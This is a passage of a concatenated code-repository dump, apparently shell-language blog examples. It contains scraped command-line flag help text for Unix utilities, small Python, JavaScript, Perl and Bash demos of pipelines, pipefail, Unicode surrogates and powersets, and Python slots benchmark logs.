--join-lines merge full lines, turns off -W line truncation, no column 9 | --length= 10 | --merge print all files in parallel, one in each column, 11 | --first-line-number= 12 | --indent= 13 | --no-file-warnings 14 | --omit-header omit page headers and trailers; 15 | --omit-pagination 16 | --show-nonprinting 17 | --width= 18 | --page-width= 19 | --help display this help and exit 20 | --version output version information and exit 21 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/ptx: -------------------------------------------------------------------------------- 1 | --auto-reference output automatically generated references 2 | --traditional behave more like System V 'ptx' 3 | --flag-truncation= use STRING for flagging line truncations. 4 | --macro-name= macro name to use instead of 'xx' 5 | --format= generate output as roff directives 6 | --right-side-refs put references at right, not counted in -w 7 | --sentence-regexp= for end of lines or end of sentences 8 | --format= generate output as TeX directives 9 | --word-regexp= use REGEXP to match each keyword 10 | --break-file= word break characters in this FILE 11 | --ignore-case fold lower case to upper case for sorting 12 | --gap-size= gap size in columns between output fields 13 | --ignore-file= read ignore word list from FILE 14 | --only-file= read only word list from this FILE 15 | --references first field of each line is a reference 16 | --typeset-mode - not implemented - 17 | --width= output width in columns, reference excluded 18 | --help display this help and exit 19 | --version output version information and exit 20 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/readelf: -------------------------------------------------------------------------------- 1 | --all Equivalent to: -h -l -S -s -r -d -V -A -I 2 | --file-header Display the ELF file header 3 | --program-headers Display the program headers 4 | --program-headers 5 | --section-headers Display the sections' header 6 | --section-headers 7 | --section-groups Display the section groups 8 | --section-details Display the section details 9 | --headers Equivalent to: -h -l -S 10 | --syms Display the symbol table 11 | --syms 12 | --dyn-syms Display the dynamic symbol table 13 | --notes Display the core notes (if present) 14 | --relocs Display the relocations (if present) 15 | --unwind Display the unwind info (if present) 16 | --dynamic Display the dynamic section (if present) 17 | --version-info Display the version sections (if present) 18 | --arch-specific Display architecture specific information (if any) 19 | --archive-index Display the symbol/file index in an archive 20 | --use-dynamic Use the dynamic section info when displaying symbols 21 | --decompress Decompress section before dumping it 22 | --dwarf-depth= Do not display DIEs at depth N or greater 23 | --dwarf-start= Display DIEs starting with N, at the same depth 24 | --histogram Display histogram of bucket list lengths 25 | --wide Allow output width to exceed 80 characters 26 | --help Display this information 27 | --version Display the version number of readelf 28 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/rm: -------------------------------------------------------------------------------- 1 | --force ignore nonexistent files and arguments, never prompt 2 | --one-file-system when removing a hierarchy recursively, skip any 3 | --no-preserve-root do not treat '/' specially 4 | --preserve-root do not remove '/' (default) 5 | --recursive remove directories and their contents recursively 6 | --dir remove empty directories 7 | --verbose explain what is being done 8 | --help display this help and exit 9 | --version output version information and exit 10 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/rmdir: -------------------------------------------------------------------------------- 1 | --ignore-fail-on-non-empty 2 | --parents remove DIRECTORY and its ancestors; e.g., 'rmdir -p a/b/c' is 3 | --verbose output a diagnostic for every directory processed 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/sed: -------------------------------------------------------------------------------- 1 | --silent 2 | --expression= 3 | --follow-symlinks 4 | --line-length= 5 | --posix 6 | --regexp-extended 7 | --separate 8 | --unbuffered 9 | --null-data 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/seq: -------------------------------------------------------------------------------- 1 | --format= use printf style floating-point FORMAT 2 | --separator= use STRING to separate numbers (default: \n) 3 | --equal-width equalize width by padding with leading zeroes 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/sha1sum: -------------------------------------------------------------------------------- 1 | --binary read in binary mode 2 | --check read SHA1 sums from the FILEs and check them 3 | --tag create a BSD-style checksum 4 | --text read in text mode (default) 5 | --ignore-missing don't fail or report status for missing files 6 | --quiet don't print OK for each successfully verified file 7 | --status don't output anything, status code shows success 8 | --strict exit non-zero for improperly formatted checksum lines 9 | --warn warn about improperly formatted checksum lines 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/sha224sum: -------------------------------------------------------------------------------- 1 | --binary read in binary mode 2 | --check read SHA224 sums from the FILEs and check them 3 | --tag create a BSD-style checksum 4 | --text read in text mode (default) 5 | --ignore-missing don't fail or report status for missing files 6 | --quiet don't print OK for each successfully verified file 7 | --status don't output anything, status code shows success 8 | --strict exit non-zero for improperly formatted checksum lines 9 | --warn warn about improperly formatted checksum lines 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/sha256sum: -------------------------------------------------------------------------------- 1 | --binary read in binary mode 2 | --check read SHA256 sums from the FILEs and check them 3 | --tag create a BSD-style checksum 4 | --text read in text mode (default) 5 | --ignore-missing don't fail or report status for missing files 6 | --quiet don't print OK for each successfully verified file 7 | --status don't output anything, status code shows success 8 | --strict exit non-zero for improperly formatted checksum lines 9 | --warn warn about improperly formatted checksum lines 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/sha384sum: -------------------------------------------------------------------------------- 1 | --binary read in binary mode 2 | --check read SHA384 sums from the FILEs and check them 3 | --tag create a BSD-style checksum 4 | --text read in text mode (default) 5 | --ignore-missing don't fail or report status for missing files 6 | --quiet don't print OK for each successfully verified file 7 | --status don't output anything, status code shows success 8 | --strict exit non-zero for improperly formatted checksum lines 9 | --warn warn about improperly formatted checksum lines 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/sha512sum: -------------------------------------------------------------------------------- 1 | --binary read in binary mode 2 | --check read SHA512 sums from the FILEs and check them 3 | --tag create a BSD-style checksum 4 | --text read in text mode (default) 5 | --ignore-missing don't fail or report status for missing files 6 | --quiet don't print OK for each successfully verified file 7 | --status don't output anything, status code shows success 8 | --strict exit non-zero for improperly formatted checksum lines 9 | --warn warn about improperly formatted checksum lines 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/shar: -------------------------------------------------------------------------------- 1 | --intermix-type specify compression for input files 2 | --compactor= specify compaction (compression) program PROG 3 | --level-of-compression= 4 | --mixed-uuencode decide uuencoding for each file 5 | --uuencode treat all files as binary 6 | --text-files treat all files as text 7 | --output-prefix= print output to file PREFIX.nn 8 | --whole-size-limit= 9 | --split-size-limit= 10 | --input-file-list= read file list from FILE 11 | --archive-name= use NAME to document the archive 12 | --submitter= override the submitter name with NAME 13 | --net-headers output Submitted-by: & Archive-name: headers 14 | --cut-mark start the shar with a cut line 15 | --translate translate messages in the script 16 | --no-character-count do not use `wc -c' to check size 17 | --no-md5-digest do not use md5sum digest to verify 18 | --force-prefix apply the prefix character on every line 19 | --here-delimiter= use DELIM to delimit the files 20 | --vanilla-operation produce very simple shars 21 | --no-piping use temporary files between programs 22 | --no-check-existing blindly overwrite existing files 23 | --query-user ask user before overwriting files 24 | --no-timestamp do not restore modification times 25 | --quiet-unshar avoid verbose messages at unshar time 26 | --basename restore in one directory, despite hierarchy 27 | --no-i18n do not internationalize 28 | --print-text-domain-dir print directory with shar messages 29 | --quiet do not output verbose messages 30 | --silent an alias for the 'quiet' option 31 | --help display extended usage information and exit 32 | --more-help extended usage information passed thru pager 33 | --load-opts= load options from the config file FILE 34 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/shasum: -------------------------------------------------------------------------------- 1 | --algorithm 1 (default), 224, 256, 384, 512, 512224, 512256 2 | --binary read in binary mode 3 | --check read SHA sums from the FILEs and check them 4 | --text read in text mode (default) 5 | --UNIVERSAL read in Universal Newlines mode 6 | --01 read in BITS mode 7 | --portable read in portable mode (to be deprecated) 8 | --status don't output anything, status code shows success 9 | --warn warn about improperly formatted checksum lines 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/sort: -------------------------------------------------------------------------------- 1 | --files0-from= 2 | --ignore-leading-blanks ignore leading blanks 3 | --dictionary-order consider only blanks and alphanumeric characters 4 | --ignore-case fold lower case to upper case characters 5 | --general-numeric-sort compare according to general numerical value 6 | --ignore-nonprinting consider only printable characters 7 | --month-sort compare (unknown) < 'JAN' < ... < 'DEC' 8 | --human-numeric-sort compare human readable numbers (e.g., 2K 1G) 9 | --numeric-sort compare according to string numerical value 10 | --random-sort shuffle, but group identical keys. See shuf(1) 11 | --random-source= get random bytes from FILE 12 | --reverse reverse the result of comparisons 13 | --sort= sort according to WORD: 14 | --version-sort natural sort of (version) numbers within text 15 | --batch-size= merge at most NMERGE inputs at once; 16 | --check= like -c, but do not report first bad line 17 | --compress-program= compress temporaries with PROG; 18 | --debug annotate the part of the line used to sort, 19 | --files0-from= read input from the files specified by 20 | --key= sort via a key; KEYDEF gives location and type 21 | --merge merge already sorted files; do not sort 22 | --output= write result to FILE instead of standard output 23 | --stable stabilize sort by disabling last-resort comparison 24 | --buffer-size= use SIZE for main memory buffer 25 | --field-separator= use SEP instead of non-blank to blank transition 26 | --temporary-directory= use DIR for temporaries, not $TMPDIR or /tmp; 27 | --parallel= change the number of sorts run concurrently to N 28 | --unique with -c, check for strict ordering; 29 | --zero-terminated line delimiter is NUL, not newline 30 | --help display this help and exit 31 | --version output version information and exit 32 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/split: -------------------------------------------------------------------------------- 1 | --suffix-length= generate suffixes of length N (default 2) 2 | --additional-suffix= append an additional SUFFIX to file names 3 | --bytes= put SIZE bytes per output file 4 | --line-bytes= put at most SIZE bytes of records per output file 5 | --elide-empty-files do not generate empty output files with '-n' 6 | --filter= write to shell COMMAND; file name is $FILE 7 | --lines= put NUMBER lines/records per output file 8 | --number= generate CHUNKS output files; see explanation below 9 | --separator= use SEP instead of newline as the record separator; 10 | --unbuffered immediately copy input to output with '-n r/...' 11 | --verbose print a diagnostic just before each 12 | --help display this help and exit 13 | --version output version information and exit 14 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/strip: -------------------------------------------------------------------------------- 1 | --preserve-dates Copy modified/access timestamps to the output 2 | --enable-deterministic-archives 3 | --disable-deterministic-archives 4 | --strip-all Remove all symbol and relocation information 5 | --strip-debug Remove all debugging symbols & sections 6 | --strip-dwo Remove all DWO sections 7 | --strip-unneeded Remove all symbols not needed by relocations 8 | --only-keep-debug Strip everything but the debug information 9 | --keep-file-symbols Do not strip file symbol(s) 10 | --wildcard Permit wildcard in symbol comparison 11 | --discard-all Remove all non-global symbols 12 | --discard-locals Remove any compiler-generated symbols 13 | --verbose List all object files modified 14 | --version Display this program's version number 15 | --help Display this output 16 | --info List object formats & architectures supported 17 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/sum: -------------------------------------------------------------------------------- 1 | --sysv use System V sum algorithm, use 512 bytes blocks 2 | --help display this help and exit 3 | --version output version information and exit 4 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/tac: -------------------------------------------------------------------------------- 1 | --before attach the separator before instead of after 2 | --regex interpret the separator as a regular expression 3 | --separator= use STRING as the separator instead of newline 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/tail: -------------------------------------------------------------------------------- 1 | --retry 2 | --max-unchanged-stats= 3 | --pid= with -f, terminate after process ID, PID dies 4 | --silent never output headers giving file names 5 | --retry keep trying to open a file if it is inaccessible 6 | --sleep-interval= with -f, sleep for approximately N seconds 7 | --verbose always output headers giving file names 8 | --zero-terminated line delimiter is NUL, not newline 9 | --help display this help and exit 10 | --version output version information and exit 11 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/tee: -------------------------------------------------------------------------------- 1 | --append append to the given FILEs, do not overwrite 2 | --ignore-interrupts ignore interrupt signals 3 | --help display this help and exit 4 | --version output version information and exit 5 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/touch: -------------------------------------------------------------------------------- 1 | --no-create do not create any files 2 | --date= parse STRING and use it instead of current time 3 | --no-dereference affect each symbolic link instead of any referenced 4 | --reference= use this file's times instead of current time 5 | --time= change the specified time: 6 | --help display this help and exit 7 | --version output version information and exit 8 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/tr: -------------------------------------------------------------------------------- 1 | --complement use the complement of SET1 2 | --delete delete characters in SET1, do not translate 3 | --squeeze-repeats replace each sequence of a repeated character 4 | --truncate-set1 first truncate SET1 to length of SET2 5 | --help display this help and exit 6 | --version output version information and exit 7 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/uname: -------------------------------------------------------------------------------- 1 | --all print all information, in the following order, 2 | --kernel-name print the kernel name 3 | --nodename print the network node hostname 4 | --kernel-release print the kernel release 5 | --kernel-version print the kernel version 6 | --machine print the machine hardware name 7 | --processor print the processor type (non-portable) 8 | --hardware-platform print the hardware platform (non-portable) 9 | --operating-system print the operating system 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/unexpand: -------------------------------------------------------------------------------- 1 | --all convert all blanks, instead of just initial blanks 2 | --first-only convert only leading sequences of blanks (overrides -a) 3 | --tabs= have tabs N characters apart instead of 8 (enables -a) 4 | --tabs= use comma separated LIST of tab positions (enables -a) 5 | --help display this help and exit 6 | --version output version information and exit 7 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/uniq: -------------------------------------------------------------------------------- 1 | --count prefix lines by the number of occurrences 2 | --repeated only print duplicate lines, one for each group 3 | --skip-fields= avoid comparing the first N fields 4 | --ignore-case ignore differences in case when comparing 5 | --skip-chars= avoid comparing the first N characters 6 | --unique only print unique lines 7 | --zero-terminated line delimiter is NUL, not newline 8 | --check-chars= compare no more than N characters in lines 9 | --help display this help and exit 10 | --version output version information and exit 11 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/wc: -------------------------------------------------------------------------------- 1 | --files0-from= 2 | --bytes print the byte counts 3 | --chars print the character counts 4 | --lines print the newline counts 5 | --files0-from= read input from the files specified by 6 | --max-line-length print the maximum display width 7 | --words print the word counts 8 | --help display this help and exit 9 | --version output version information and exit 10 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/who: -------------------------------------------------------------------------------- 1 | --login -p -r -t -T -u 2 | --boot time of last system boot 3 | --dead print dead processes 4 | --heading print line of column headings 5 | --ips print ips instead of hostnames. with --lookup, 6 | --login print system login processes 7 | --lookup attempt to canonicalize hostnames via DNS 8 | --process print active processes spawned by init 9 | --count all login names and number of users logged on 10 | --runlevel print current runlevel 11 | --short print only name, line, and time (default) 12 | --time print last system clock change 13 | --mesg add user's message status as +, - or ? 14 | --users list users logged in 15 | --message same as -T 16 | --writable same as -T 17 | --help display this help and exit 18 | --version output version information and exit 19 | -------------------------------------------------------------------------------- /interactive-shell/scrape_flags.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """ 3 | scrape_flags.py 4 | """ 5 | from __future__ import print_function 6 | 7 | import json 8 | import re 9 | import sys 10 | 11 | # NOTE: Could remove trailing punctuation like ; ? 12 | 13 | # 2 spaces, otherwise we get two --sort in ls 14 | LONG_FLAG_RE = re.compile(r''' 15 | [ ].* 16 | (?P--[a-zA-Z0-9-]+) 17 | (?P=\w+)? 18 | \s+ 19 | (?P.*) 20 | ''', re.VERBOSE) 21 | 22 | 23 | def main(argv): 24 | flags = [] 25 | num_flags = 0 26 | for line in sys.stdin: 27 | m = LONG_FLAG_RE.match(line) 28 | if m: 29 | flags.append(m.groupdict()) 30 | print('%s%s\t%s' % ( 31 | m.group('flag'), 32 | '=' if m.group('arg') else '', 33 | m.group('desc') 34 | )) 35 | num_flags += 1 36 | 37 | print('Summary: %d flags scraped' % num_flags, file=sys.stderr) 38 | 39 | #json.dump(flags, sys.stdout, indent=2) 40 | 41 | 42 | if __name__ == '__main__': 43 | try: 44 | main(sys.argv) 45 | except RuntimeError as e: 46 | print('FATAL: %s' % e, file=sys.stderr) 47 | sys.exit(1) 48 | -------------------------------------------------------------------------------- /j8-notation/surrogate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | surrogate.py 4 | 5 | Using Python 3 API 6 | """ 7 | from __future__ import print_function 8 | 9 | import json 10 | import sys 11 | 12 | 13 | def main(argv): 14 | ch = sys.argv[1] # copy and paste Unicode emoji from browser to terminal 15 | print(ch) 16 | print(repr(ch)) 17 | 18 | code_point = ord(ch[0]) 19 | print(hex(code_point)) 20 | 21 | u = code_point - 0x10000 22 | print(hex(u)) 23 | 24 | w1 = u & 0b11111_11111 25 | w2 = (u & 0b11111_11111_00000_00000) >> 10 26 | 27 | print(w1) 28 | print(w2) 29 | 30 | first = 0xd800 + w2 31 | second = 0xdc00 + w1 32 | 33 | first_hex = hex(first)[2:] 34 | second_hex = hex(second)[2:] 35 | 36 | print(first_hex) 37 | print(second_hex) 38 | 39 | json_str = r'"\u%s\u%s"' % (first_hex, second_hex) 40 | print(json.loads(json_str)) 41 | 42 | 43 | if __name__ == '__main__': 44 | try: 45 | main(sys.argv) 46 | except RuntimeError as e: 47 | print('FATAL: %s' % e, file=sys.stderr) 48 | sys.exit(1) 49 | -------------------------------------------------------------------------------- /jq/verbs.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env nodejs 2 | 3 | // Rough idea to explain semantics of: 4 | // 5 | // $ seq 3 6 | // 0 7 | // 1 8 | // 2 9 | 10 | // $ seq 3 | jq 'def inc(n): . + n; inc(3) | inc(-1)' 11 | // 3 12 | // 4 13 | // 5 14 | 15 | function inc(n) { 16 | return function (dot) { 17 | return dot + n; 18 | } 19 | } 20 | 21 | // function composition operator 22 | // 23 | // (f o g)(x) = f(g(x)) 24 | // 25 | // This doesn't take into account that | is "cartesian product" in jq. 26 | 27 | function pipe(f, g) { 28 | return function(dot) { 29 | return f(g(dot)) 30 | } 31 | } 32 | 33 | console.log(42); 34 | 35 | var inc3 = inc(3); 36 | 37 | console.log("inc3", inc3(42)); 38 | 39 | var dec = inc(-1); 40 | 41 | console.log("dec(inc3( ))", dec(inc3(42))); 42 | 43 | var composed = pipe(inc3, dec); 44 | 45 | console.log("composed", composed(42)); 46 | 47 | var composed2 = pipe(composed, dec); 48 | 49 | console.log("composed2", composed2(42)); 50 | 51 | -------------------------------------------------------------------------------- /libc-unicode/demo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/libc-unicode/demo -------------------------------------------------------------------------------- /libc-unicode/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | utf-8() { 11 | echo _____ 12 | echo "$@" 13 | ./demo 'en_US.UTF-8' "$@" 14 | } 15 | 16 | demo() { 17 | cc -o demo demo.c 18 | 19 | utf-8 'abc' 20 | 21 | utf-8 $'\xE2\x98\xA0' # encoded version 22 | utf-8 $'\u2620' 23 | 24 | # encoded version 25 | utf-8 $'\u007a' 26 | utf-8 $'\u03bb' 27 | utf-8 $'\u4e09' 28 | utf-8 $'\U0001f618' 29 | } 30 | 31 | "$@" 32 | -------------------------------------------------------------------------------- /line-counts/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | readonly BASH_DIR=~/src/languages/bash-4.4 11 | 12 | bash-files() { 13 | # NOTE: .def files are builtins 14 | 15 | find $BASH_DIR \ 16 | \( -name 'y.tab.c' -a -prune \) -o \ 17 | \( -name 'readline' -a -prune \) -o \ 18 | \( -name parse.y -a -print \) -o \ 19 | \( -name '*.[ch]' -a -print \) -o \ 20 | \( -name '*.def' -a -print \) 21 | } 22 | 23 | readline-files() { 24 | find $BASH_DIR/lib/readline \ 25 | \( -name '*.[ch]' -a -print \) 26 | } 27 | 28 | significant() { 29 | # 87K sloccount (I think this excluded .def files) 30 | # 101K cloc 31 | bash-files | xargs cloc 32 | #bash-files | xargs sloccount 33 | echo 34 | 35 | # 24K sloccount and cloc 36 | readline-files | xargs cloc 37 | #readline-files | xargs sloccount 38 | echo 39 | } 40 | 41 | physical() { 42 | # 142K raw lines 43 | bash-files | xargs wc -l | sort -n | tail -n 20 44 | echo 45 | 46 | # 35K raw lines 47 | readline-files | xargs wc -l | sort -n | tail 48 | echo 49 | } 50 | 51 | "$@" 52 | -------------------------------------------------------------------------------- /metaprogramming/kinds.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """ 3 | kinds.py 4 | """ 5 | 6 | import sys 7 | import ast 8 | import cStringIO 9 | 10 | # Task: 11 | # - Schema compiler? 12 | # - Special case: Generate a named class with variable number of variables 13 | 14 | NAMES = ['x', 'y', 'z', 'w'] 15 | 16 | def GenClassLexical(name, n): 17 | """After reader, before lexer.""" 18 | f = cStringIO.StringIO() 19 | assert n <= len(NAMES), n 20 | 21 | # Note syntax errors: 22 | print >>f, 'class %s:' % name 23 | print >>f, ' def __init__(self):' 24 | 25 | for i in xrange(n): 26 | print >>f, ' self.%s = 0' % NAMES[i] 27 | 28 | return f.getvalue() 29 | 30 | 31 | def GenClassParser(name, n): 32 | """After lexer, before parser.""" 33 | # Use tokenize module? Construct them manually? But Python doesn't really 34 | # have access to its own tokenizer. 35 | 36 | # 1. create tokens. 37 | # 2. invoke parser 38 | # 3. run compiler module 39 | pass 40 | 41 | 42 | def GenClassAst(name, n): 43 | """After parser, before compiler.""" 44 | print ast 45 | # 1. create ast data structures? 46 | # 2. run compiler module? 47 | pass 48 | 49 | 50 | def GenClassBytecode(name, n): 51 | """After compiler, before runtime.""" 52 | # BUILD_CLASS ? Use opcode module? 53 | # compile()? 54 | pass 55 | 56 | 57 | def GenClassReflection(name, n): 58 | # 59 | cls = type(name, [], {}) 60 | cls.__init__ = constructor 61 | 62 | 63 | 64 | 65 | def main(argv): 66 | exec GenClassLexical('Point', 2) 67 | exec GenClassLexical('Quad', 4) 68 | print Point() 69 | print Quad() 70 | 71 | 72 | 73 | if __name__ == '__main__': 74 | try: 75 | main(sys.argv) 76 | except RuntimeError as e: 77 | print >>sys.stderr, 'FATAL: %s' % e 78 | sys.exit(1) 79 | -------------------------------------------------------------------------------- /perl/challenge.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | # https://www.reddit.com/r/oilshell/comments/7tqs0a/why_create_a_new_unix_shell/dtml31j/ 4 | 5 | use strict; 6 | use English; 7 | use autodie; 8 | 9 | sub f { 10 | print "--\n"; 11 | open(my $h,"ls / |"); 12 | print (<$h>); 13 | print "--\n"; 14 | } 15 | 16 | open(my $o,">out.txt"); 17 | select $o; 18 | f(); 19 | 20 | open($o,"| wc -l "); 21 | select $o; 22 | f(); 23 | -------------------------------------------------------------------------------- /perl/challenge2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./challenge2.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | # Print a message to stderr 11 | log() { 12 | echo "$@" >&2 13 | } 14 | 15 | escape-html() { 16 | sed -e 's/&/\&/g' -e 's//\>/g' 17 | } 18 | 19 | git-log-html() { 20 | echo '
'
21 |   log "Running git"
22 |   git log -n 1 | escape-html
23 |   log "Done running git"
24 |   echo '
' 25 | } 26 | 27 | main() { 28 | log "" 29 | log "*** Count output lines" 30 | git-log-html | wc -l 31 | 32 | log "" 33 | log "*** Write output to file" 34 | git-log-html > out.html 35 | 36 | log "" 37 | log "*** Write output to file and log to file" 38 | git-log-html > out2.html 2> log.txt 39 | 40 | log "" 41 | log "*** Test" 42 | head -n 5 out.html out2.html log.txt 43 | } 44 | 45 | "$@" 46 | -------------------------------------------------------------------------------- /pipe-coroutine/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./demo.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | coroutine() { 11 | seq 40 | 12 | while read n; do 13 | if (( n % 2 == 0 )); then 14 | echo $n; 15 | fi 16 | done | 17 | while read n; do 18 | if (( n % 3 == 0 )); then 19 | echo $n; 20 | fi 21 | done | 22 | tac 23 | 24 | } 25 | 26 | "$@" 27 | -------------------------------------------------------------------------------- /pipefail/better-pipefail.osh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e -o pipefail 3 | 4 | # Oil fixes an external binary 5 | 6 | if test "$1" = 'try-oil'; then 7 | run --status-ok SIGPIPE /usr/bin/printf '%65538s' | head -c 1 8 | else 9 | /usr/bin/printf '%65538s' | head -c 1 10 | fi 11 | 12 | # This is still messed up! 13 | #run --status-ok SIGPIPE printf '%65538s' | head -c 1 14 | 15 | echo "this is not executed" 16 | -------------------------------------------------------------------------------- /pipefail/pipefail.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e -o pipefail 3 | printf '%65538s' | head -c 1 4 | echo "this is not executed" 5 | -------------------------------------------------------------------------------- /point-free/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Problems: 4 | # - Shell and awk should be combined 5 | # - Shell needs escaping. If they weren't combined, they BOTH would need 6 | # escaping. 7 | # 8 | # Usage: 9 | # ./demo.sh 10 | 11 | set -o nounset 12 | set -o pipefail 13 | set -o errexit 14 | 15 | # Point-free function 16 | hist() { 17 | sort | uniq -c | sort -r -n 18 | } 19 | 20 | hist-demo() { 21 | { echo foo; echo bar; echo foo; } | hist 22 | } 23 | 24 | # NOTE: not safe 25 | awk-html-rows() { 26 | awk ' 27 | BEGIN { print " Count Name "} 28 | { print " " $1 " " $2 " "} 29 | ' 30 | } 31 | 32 | hist-pipeline-demo() { 33 | { echo foo; echo bar; echo foo; } | hist | awk-html-rows 34 | } 35 | 36 | shell-html-rows() { 37 | echo " Count Name " 38 | while read count name; do 39 | echo " $count $name " 40 | done 41 | } 42 | 43 | while-pipeline-demo() { 44 | { echo foo; echo bar; echo foo; } | hist | shell-html-rows 45 | } 46 | 47 | inline-demo() { 48 | { echo foo; echo bar; echo foo; } | 49 | sort | uniq -c | sort -r -n | 50 | { echo " Count Name "; 51 | while read count name; do 52 | echo " $count $name " 53 | done 54 | } 55 | } 56 | 57 | 58 | "$@" 59 | -------------------------------------------------------------------------------- /push-pull/powerset.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | powerset.py 4 | """ 5 | from __future__ import print_function 6 | 7 | import sys 8 | 9 | # Transcribing Rust code from 10 | # https://lobste.rs/s/khbbac/generate_all_things#c_xflsh6 11 | 12 | def push_powerset(acc, n): 13 | if n == 0: 14 | print(acc) 15 | else: 16 | acc.append(True) 17 | push_powerset(acc, n-1) 18 | acc.pop() 19 | 20 | acc.append(False) 21 | push_powerset(acc, n-1) 22 | acc.pop() 23 | 24 | 25 | def pull_powerset(n): 26 | if n == 0: 27 | yield [] 28 | else: 29 | for x in pull_powerset(n-1): 30 | yield [True] + x 31 | 32 | for x in pull_powerset(n-1): 33 | yield [False] + x 34 | 35 | 36 | def main(argv): 37 | print() 38 | print('PUSH STYLE') 39 | print() 40 | push_powerset([], 3) 41 | 42 | print() 43 | print('PULL STYLE') 44 | 45 | # FLATTENED API 46 | for t in pull_powerset(3): 47 | print(t) 48 | 49 | 50 | if __name__ == '__main__': 51 | try: 52 | main(sys.argv) 53 | except RuntimeError as e: 54 | print('FATAL: %s' % e, file=sys.stderr) 55 | sys.exit(1) 56 | -------------------------------------------------------------------------------- /py-slots/i7.log: -------------------------------------------------------------------------------- 1 | --- --- 2 | Computed 19999900000 from 100000 points in 6.6 ms 3 | --- --- 4 | Computed 19999900000 from 100000 points in 7.2 ms 5 | --- --- 6 | Computed 19999900000 from 100000 points in 1.8 ms 7 | --- Point --- 8 | VmPeak: 64272 kB 9 | Creating 100000 Point instances... 10 | Computed 9999900000 from 100000 points in 8.4 ms 11 | --- PointSlots --- 12 | VmPeak: 35600 kB 13 | Creating 100000 PointSlots instances... 14 | Computed 9999900000 from 100000 points in 7.7 ms 15 | --- LPoint --- 16 | VmPeak: 64272 kB 17 | Creating 100000 LPoint instances... 18 | Computed 9999900000 from 100000 points in 8.4 ms 19 | --- LPointSlots --- 20 | VmPeak: 35600 kB 21 | Creating 100000 LPointSlots instances... 22 | Computed 9999900000 from 100000 points in 7.3 ms 23 | -------------------------------------------------------------------------------- /py-slots/pi-zero.cpuinfo.txt: -------------------------------------------------------------------------------- 1 | processor : 0 2 | model name : ARMv6-compatible processor rev 7 (v6l) 3 | BogoMIPS : 697.95 4 | Features : half thumb fastmult vfp edsp java tls 5 | CPU implementer : 0x41 6 | CPU architecture: 7 7 | CPU variant : 0x0 8 | CPU part : 0xb76 9 | CPU revision : 7 10 | 11 | Hardware : BCM2835 12 | Revision : 9000c1 13 | Serial : 00000000c288dc1c 14 | -------------------------------------------------------------------------------- /py-slots/pi-zero.log: -------------------------------------------------------------------------------- 1 | --- --- 2 | Computed 19999900000 from 100000 points in 334.1 ms 3 | --- --- 4 | Computed 19999900000 from 100000 points in 226.2 ms 5 | --- --- 6 | Computed 19999900000 from 100000 points in 136.8 ms 7 | --- Point --- 8 | VmPeak: 29044 kB 9 | Creating 100000 Point instances... 10 | Computed 9999900000 from 100000 points in 348.1 ms 11 | --- PointSlots --- 12 | VmPeak: 